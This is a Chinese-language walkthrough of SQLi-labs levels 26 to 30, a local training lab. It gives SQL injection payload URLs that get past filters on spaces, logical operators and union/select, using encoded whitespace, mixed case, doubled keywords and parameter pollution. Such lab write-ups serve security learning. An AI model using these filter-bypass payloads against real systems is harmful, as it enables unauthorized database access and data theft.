第二六关 less-26
步骤一:输入?id=1 发现逻辑运算符,注释符以及空格给过滤了
步骤二:?id=1 and'闭合,转换:逻辑运算符使用双写或者&&和||替换,空格用括号替换
步骤三:查询数据库名
http://127.0.0.1/Less-26/?id=1%27||(updatexml(1,concat(1,(select(database()))),1))||%27
步骤四:查看表名
步骤五:查看users表中的列名
步骤六:查看信息
第二七关 less-27
步骤一:过滤了空格,select和union大小写绕过,%09代替空格
查数据库
http://127.0.0.1/less-27/?id=1%27and%09updatexml(1,concat(1,(sElect%09database())),1)and%27
步骤二:查看表名
步骤三:查看users表中列名
步骤四:查看users表中信息
第二八关 less-28
过滤了空格,union和select,空格用%0A替换,union select双写替换
步骤一:查询数据库
步骤二:查询表名
步骤三:查看users表中列名
第二九关 less-29
步骤一:查看数据库名
http://127.0.0.1/less-29/?id=1&id=-1%27union%20select%201,database(),3%20--+
步骤二:查看表名
步骤三:查看users表中列名
步骤四:查看信息
第三十关 less-30
29关和30关闭合方式不同
步骤一:查看数据库名
http://127.0.0.1/less-30/?id=1&id=-1%22union%20select%201,database(),3%20--+
步骤二:查看表名
步骤三:查看users表中列名
步骤四:查看信息